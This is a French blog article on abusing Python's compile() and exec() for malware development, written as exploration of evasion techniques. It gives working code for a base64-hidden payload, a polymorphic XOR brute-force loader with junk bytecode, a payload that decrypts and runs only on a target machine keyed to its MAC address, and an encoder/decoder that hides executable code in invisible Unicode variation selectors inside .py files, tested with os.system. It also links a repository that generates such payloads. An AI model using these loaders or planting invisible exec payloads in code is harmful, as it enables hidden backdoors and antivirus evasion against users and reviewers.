Click here for the English version of this article

Si vous dites à la plupart des experts en maldev que vous utilisez Python pour du malware, vous serez vu comme un imbécile ou comme un script skiddy (et probablement à juste titre). En effet, Python est généralement le premier langage que les débutant utilisent parce qu'il est high level et que la syntaxe est incroyablement facile. En fait, c'est presque l'exact opposé de ce que vous voudriez pour du malware. Beaucoup de couches d'abstraction veut généralement dire moins de liberté, les développeurs de malware font généralement beaucoup de manipulation de mémoire bas niveau, exécutent du code machine dans des scénarios d'injection, ont besoin d'une liberté complète sur la Windows API pour le chargement dynamique de DLL, les system calls... C'est pourquoi les gens du domaine utilisent généralement des langages compilés comme C. Mais et si je vous disais que Python a bel et bien des avantages dans le développement de malware?

Python compile()

Dans le développement de malware, il y a ce concept appelé la virtualization de code, où le binaire embarque sa propre machine virtuelle, un interpréteur de bytecode personnalisé qui va lire le payload (un payload avec lequel l’analyse statistique a du mal, puisque c’est du bytecode custom).
Eh bien, ce concept n’est évidemment pas utilisé uniquement pour les malwares, vous pouvez le trouver dans des langages de haut niveau comme Java (JVM) et… Python (CPython).
Le bytecode est exécuté par ceval.c, l’interpréteur exécute sans problèmes le .pyc sans jamais voir votre code source !

Vous pouvez contrôler le compilateur Python pendant l’exécution en utilisant la fonction compile() :

1
2
3
4
source = r"print('hello peeps')"
payload = compile(source, "<string>", "exec")
print(payload.co_code) # Montre le bytecode brute
exec(payload) # hello peeps

Cela signifie que vous pouvez absolument exécuter du code qui n’est pas écrit dans la source / directement visible en analyse statique.
Voici un exemple simple utilisant la base64 :

1
2
3
4
import base64
payload = base64.b64decode("cHJpbnQoIm5vdCB2aXNpYmxlIGluIHN0YXRpYyBhbmFseXNpcyIp") # Le payload: 'print("not visible in static analysis")'
code = compile(payload, "<string>", "exec")
exec(code)

Maintenant, si vous croyez qu’il y aura du constant folding / propagation… Eh bien, voici le désassemblage du .pyc généré par Python pour notre petit script :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

0 RESUME 0

1 LOAD_SMALL_INT 0
LOAD_CONST 1 (None)
IMPORT_NAME 0 (base64)
STORE_NAME 0 (base64)

2 LOAD_SMALL_INT 0
LOAD_CONST 1 (None)
IMPORT_NAME 1 (dis)
STORE_NAME 1 (dis)

4 LOAD_NAME 0 (base64)
LOAD_ATTR 4 (b64decode)
PUSH_NULL
LOAD_CONST 2 ('cHJpbnQoIm5vdCB2aXNpYmxlIGluIHN0YXRpYyBhbmFseXNpcyIp') <- Toujours en base64!!
CALL 1
STORE_NAME 3 (payload)

5 LOAD_NAME 4 (compile)
PUSH_NULL
LOAD_NAME 3 (payload)
LOAD_CONST 3 ('<string>')
LOAD_CONST 4 ('exec')
CALL 3
STORE_NAME 5 (code)

6 LOAD_NAME 6 (exec)
PUSH_NULL
LOAD_NAME 5 (code)
CALL 1
POP_TOP
LOAD_CONST 1 (None)
RETURN_VALUE

C’est un bon rappel que Python est lent, paresseux et inefficace je crois. Le compilateur ne fait presque aucun travail pour vous au moment de la compilation.
Ici, par simplicité, nous avons simplement encodé le payload en base64. Mais avec un stub plus complexe (XOR, junk code, brute force non déterministe, hashing), cela peut devenir extrêmement difficile de savoir quelle sera la sortie du script sans analyse dynamique.
Voilà. Nous verrons ce que nous pouvons faire avec cela.

PyInstaller

PyInstaller est cet outil “quick-and-dirty” que la plupart des gens qui connaissent Python ont utilisé. Je l’ai personnellement beaucoup utilisé pour exécuter mes scripts Python sur les ordinateurs de personnes non techniques pour qu’elles n’aient pas à installer un interpréteur Python.
En effet, PyInstaller en mode --onefile crée juste un PE avec tout le runtime compressé à l’intérieur, les DLLs de l’interpréteur, vos modules, votre code. Un simple hello world fait plus de 10 MB en Python…
C’est du junk code sauf qu’en fait non, la plupart des vendeurs d’AV n’ont pas de mécanisme de unpacking Python, et n’analysent jamais directement le code qui compte pendant l’analyse statique.

Aller plus loin avec une démo de code polymorphe

Voici un exemple de comment j’utiliserais ce mécanisme pour rendre un .pyc très pénible à analyser en analyse statique pour les reverse engineers et les AVs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3

import os, sys, ast, types, hashlib, operator

# Encrypted payloads in XOR
ENC_IMPORT = bytes([0x0d, 0x03, 0x05, 0x1d, 0x16, 0x1a, 0x55, 0x1d, 0x17])
ENC_POPEN = bytes([0x0e, 0x1e, 0x4a, 0x13, 0x0e, 0x1d, 0x01, 0x0d,
0x49, 0x4a, 0x07, 0x02, 0x0d, 0x0e, 0x43, 0x4a])


def _host_salt():
# Salt vars.
parts = [
os.getenv("USERNAME") or os.getenv("USER") or "",
os.getenv("COMPUTERNAME") or os.getenv("HOSTNAME") or "",
os.getenv("PROCESSOR_ARCHITECTURE") or "",
os.getenv("NUMBER_OF_PROCESSORS") or "",
os.getenv("OS") or "",
os.getenv("PROCESSOR_IDENTIFIER") or "",
]
return int.from_bytes(
hashlib.sha256("|".join(parts).encode()).digest()[:4], "little"
)


SALT = _host_salt()

_JUNK_FN = {}


def _junk(iter_count):
# Example de junk polymorphic qui change toutes les 64 interations
bucket = iter_count // 64
if bucket not in _JUNK_FN:
src = (
"def _j(s, i, b):\n"
f" a = (s * 1103515245 + i * 12345 + b * {bucket * 7 + 3}) & 0xFFFF\n"
" x = int.__xor__(a, int.__mul__(b, 2654435761) & 0xFFFF)\n"
" y = int.__add__(x & 0xFF, i & 0xFF)\n"
" z = int.__mul__(y, 1)\n"
" known = str.__len__('polymorphic') == 11\n"
" return bool(known) and (z >= 0)\n"
)
ns = {}
exec(compile(src, f"<junk-{bucket}>", "exec"), ns)
_JUNK_FN[bucket] = ns["_j"]

return _JUNK_FN[bucket](SALT, iter_count, bucket)


def _check_import(src):
try:
tree = ast.parse(src)
except SyntaxError:
return False
return (len(tree.body) == 1
and isinstance(tree.body[0], ast.Import))


def _check_popen(src):
try:
tree = ast.parse(src)
except SyntaxError:
return False
if len(tree.body) != 1:
return False
stmt = tree.body[0]
if not isinstance(stmt, ast.Expr) or not isinstance(stmt.value, ast.Call):
return False
call = stmt.value
if not isinstance(call.func, ast.Attribute):
return False
return (len(call.args) == 1
and isinstance(call.args[0], ast.Constant)
and isinstance(call.args[0].value, str))


def _try(cipher, key, check):
padded = key * ((len(cipher) + 3) // 4)
dec = bytes(map(operator.xor, cipher, padded))
if not all(0x20 <= b < 0x7F for b in dec):
return None
try:
src = dec.decode("ascii")
except UnicodeDecodeError:
return None
return src if check(src) else None


def _candidate_keys():
# enumerate 4 letters lowercase XOR keys

start = SALT % 26
order = [(start + k) % 26 for k in range(26)]
for a in order:
for b in order:
for c in order:
for d in order:
yield bytes([0x61 + a, 0x61 + b, 0x61 + c, 0x61 + d])


def _junk_bytecode(co, seed):

new_consts = []
for c in co.co_consts:
new_consts.append(_junk_bytecode(c, seed)
if isinstance(c, types.CodeType) else c)
new_consts.append(f"__dead_{seed:x}")
new_consts.append(bytes([seed & 0xFF, (seed >> 8) & 0xFF]))
try:
return co.replace(
co_consts=tuple(new_consts),
co_code=co.co_code + bytes([9, 0]) * 3, # Juste pour que cela soit plus confus
)
except Exception:
return co.replace(co_consts=tuple(new_consts))


def main():
found = {}
iterations = 0
keys = _candidate_keys()

# bruteforce
while len(found) < 2 and _junk(iterations):
iterations += 1
try:
key = next(keys)
except StopIteration:
break
for name, cipher, check in (
("import", ENC_IMPORT, _check_import),
("popen", ENC_POPEN, _check_popen),
):
if name in found:
continue
src = _try(cipher, key, check)
if src is not None:
found[name] = (key, src)

if len(found) < 2:
sys.exit(1)

# On compile ce qui est decrypté et on altère le bytecode
imp_code = _junk_bytecode(
compile(found["import"][1], "<import>", "exec"), SALT ^ 0xDEADBEEF)
pop_code = _junk_bytecode(
compile(found["popen"][1], "<popen>", "exec"), SALT ^ 0xCAFEBABE)

ns = {"__name__": "__main__"}
exec(imp_code, ns)
exec(pop_code, ns)


if __name__ == "__main__":
main()

Tout cela c’est pour ouvrir calc.exe au passage.
Ce n’est nulle part près de ce que les gens font avec les passes d’obfuscation LLVM, mais c’est pénible à reverse, ce qui est déjà quelque chose. Rappelez-vous que ce n’est que Python.
Il y a plusieurs projets comme PyArmor, pyobfus, VMP-Protector, CodeEnigma qui font cela automatiquement avec plus de complexité, mais cela montre juste à quel point il peut être amusant et simple de faire le vôtre (ce qui le rend plus difficile à fingerprint, il pourrait y avoir des règles YARA pour une librairie connue)

Passer à la vitesse supérieure un vrai cas d’usage de Python compile() : Du code chiffré qui ne se déchiffre que sur une machine / un environnement spécifique

Tout cela est intéressant, mais rien jusque ici n’est vraiment original. Je pourrais m’arrêter là comme la plupart des articles : “Voilà, compiler du bytecode personnalisé” mais à la place, laissez-moi montrer un vrai cas d’usage : comment cela pourrait être utilisé dans la vraie vie, et les choses intéressantes que nous pouvons explorer avec ce concept.

Ma première idée était de faire du code Python qui ne pourrait s’exécuter que sur une machine spécifique. Non seulement cela, le code serait presque indéchiffrable s’il ne s’exécute pas sur la machine prévue. Probablement le pire cauchemar pour un analyste de malware.

Le script suivant le démontre, il est “impossible” de savoir ce que fait le script tant que vous n’êtes pas la cible, ce script compare l’adresse MAC de la machine avec un SHA256 de la MAC cible, si le hash correspond il déchiffre le payload AES128 avec une clé dérivée de l’adresse MAC trouvé, et exec(compile()) nous permet d’exécuter ce code déchiffré !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3

import base64
import hashlib
import hmac
import sys
import uuid
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad


EXPECTED_HASH = "5ebfed4129abc611f635674a920cf098f7035d53666fcafc01eb6acfe4a64629" # SHA256 de l'addresse MAC de la cible
CIPHERTEXT_B64 = (
"NyflLEek98ObXyZ1dY/ETXhyThxHD095DTm6df34GMM39HDdg10+LnM2sY/" # Cipher text (AES128) le payload (secret!)
"Ai1sP8LVe7/duKfdaKghiTyqsmhFe516Xnks21mFWCL0gXuNvOOAQJ791"
"DFlEw52r6C3Z"
)

def current_mac():
'''
Trouver l'addresse MAC, si vous ne voulez pas spoofez votre addresse MAC vous pouvez tricher
en changeant ce que la fonction retourne en return "EC:BC:FE:02:9B:FF", l'addresse MAC attendue
'''
n = uuid.getnode()

if (n >> 40) & 1:
sys.exit(1)
#return "EC:BC:FE:02:9B:FF"
return ":".join(f"{(n >> (8 * i)) & 0xFF:02X}" for i in range(5, -1, -1))

def derive_key(mac):
return mac[:-1].encode()

def main():
mac = current_mac()
if not hmac.compare_digest(hashlib.sha256(mac.encode()).hexdigest(), EXPECTED_HASH):
sys.exit(1) # Pas notre cible

else: # Le Hash correspond, nous sommes donc sur la cible
key = derive_key(mac) # La clef est dérivée de l'addresse MAC ainsi : base64(MAC addr - 1) pour correspondre a la longueur de la clef en AES128

cipher = AES.new(key, AES.MODE_ECB)
plaintext = unpad(cipher.decrypt(base64.b64decode(CIPHERTEXT_B64)), AES.block_size)
exec(compile(plaintext, "<locked>", "exec"))

main()

Je trouve la simplicité de ce code fascinante.
Python rend cela tellement facile, n’importe quel débutant en Python pourrait comprendre ce code après avoir appris ce que fait la fonction compile(), ce qui pourrait faire de Python un excellent langage pour draft / démontrer / showcase des mécanismes malware complexes dans certains cas.
Cet exemple n’est pas “incassable”. Bien qu’il y ait 2^46 ( = 281,474,976,710,656) adresses MAC possibles, la clé ne fait que 128bit et sur du hardware moderne ce n’est pas si difficile. Mais vous pourriez absolument rendre le ciphertext presque impossible à cracker en dérivant la clé à l’aide de variable d’environnement connue : le contenu d’un fichier spécifique que la cible possède, GUID, hardware fingerprinting, adresse IP, la structure des directory / du workspace les possibilités sont tout simplement infinies.
“C’est juste du Python, c’est juste du Python”, pourtant même un chercheur expert devant le code source ne peut vous dire quelle sera la sortie de ce script sur la machine cible, réfléchissez-y.

Un second exemple de cas d’usage réel

Donc je pense que cet article devient intéressant, mais ce n’est toujours pas la “weaponization” que j’ai promise, encore très loin de tout ce qui “pourrait être utilisé comme vecteur d’attaque”. Alors voici une autre façon, complètement différente mais très intéressante, de tirer parti de compile().
L’idée : cacher un payload à la vue de tous, directement dans le code source, et livrer le fichier .py. Oui vous l’avez deviné, nous allons utiliser de la stéganographie unicode.

Unicode est un système complexe avec TELLEMENT de code points. Ce que j’ai fait un jour, c’est que j’ai demandé à mon agent IA de me donner tous les caractères Unicode printable mais minuscules / zero-width / invisibles, avec une idée en tête : si je pouvais placer ces caractères dans un fichier source Python pour représenter des données binaires, puis les décoder, je pourrais utiliser compile() pour exécuter le résultat, essentiellement exécuter du code qui est littéralement invisible pour l’utilisateur (seule la logique de décodage et l’instruction compile() seraient visibles).
Mon agent IA a proposé plusieurs candidats, mais seuls les variation selectors se sont démarqués (U+FE00 -> U+FE0F et U+E0100 -> U+E01EF).
Cela fait 16 + 240 = 256 caractères invisibles que Python accepte volontiers dans votre code, puisque ces caractères sont printable Python vous laissera les utiliser dans votre code sans lever aucune erreur !

Cela pourrait vous rappeler les attaques “ASCII smuggling” sur les LLMs / prompt injections, qui utilisaient une technique similaire, sauf qu’ici nous utilisons cette stéganographie pour cacher le code afin de l’exécuter.

J’ai donc conçu un encoder qui prend du texte en bytes, les variation selectors ont assez de valeurs possibles :

1
2
3
4
5
6
7
def encode(text):
for byte in text.encode("utf-8"):
if byte < 0x10:
hidden += chr(0xFE00 + byte) # U+FE00 -> U+FE0F
else: # byte 16 -> 255
hidden += chr(0xE0100 + byte - 0x10) # U+E0100 -> U+E01EF
return hidden

Le décodeur coule de sources:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

def decode(hidden):
data = bytearray()

for ch in hidden:
cp = ord(ch)

if 0xFE00 <= cp <= 0xFE0F:
data.append(cp - 0xFE00)

elif 0xE0100 <= cp <= 0xE01EF:
data.append(cp - 0xE0100 + 0x10)

return data.decode("utf-8")

exec(compile(decode("<ariation selecetors ici>"), "<HIDDEN>", "exec"))

Dans Visual Studio Code, les caractères invisibles sont surlignés en jaune avec un avertissement, mais pour un programmeur peu attentif, combiné à un peu d’ingénierie sociale (un code difficile à lire, de l’art ASCII dans le code qui peut faire passer un seul bloc jaune pour normal), cela peut facilement être ignoré.
Je l’ai testé avec import os; os.system('msg * test') (Messagebox Windows via CMD). Dans Visual Studio Code, voici à quoi cela ressemble :

Booom!!!!

Cela est tout de même impressionant, import os est encodé avec l’appel de la fonction os.system(), tout est invisible

Nous avons maintenant essentiellement réalisé une "backdoor" a la vue de tous : le code source .py est là, et pourtant il exécute quelque chose que nous NE POUVONS PAS VOIR.

Évidemment ça ne fonctionne pas dans n'importe quel terminal et éditeur de texte il faut le bon encodage et la bonne code page...

Je pense que j’ai déjà fait assez, cet article est déjà plutôt long et nous avons exploré des concepts assez originaux utilisant la fonction compile().
Si vous voulez l’essayer vous-même, tout le code pour générer des payloads “hidden unicode” est dans ce répertoire GitHub : https://github.com/0xWill-A/python-invisible-code

Conclusion

J’espère que cet article a rendu Python moins inintéressant. Je ne cherche pas à dire que Python est un bon langage pour le malware ou qu’il deviendra un vecteur d’attaque majeur, c’est juste intéressant d’explorer les concepts sous-jacents et de voir comment les possibilités ne sont pas limitées, dans un langage qui est lui-même si limitant.

J’ai simplifié beaucoup de parties de l’article pour ne parler que de ce qui compte vraiment, pour l’exemple polymorphique il aurait été mieux de s’appuyer fortement sur la manipulation AST et des code objects précompilés : un code object polymorphique contournerait AMSI par exemple.

Je trouve aussi fascinant le contraste avec les langages compilés, à quel point exécuter des instructions brutes et les manipuler devient facile. En C vous auriez à générer le machine code, retirer les null bytes, utiliser VirtualAlloc() etc. En Python vous pouvez juste compiler des instructions VM “on the fly”.

Au passage, je cherche actuellement un job, embauchez moi!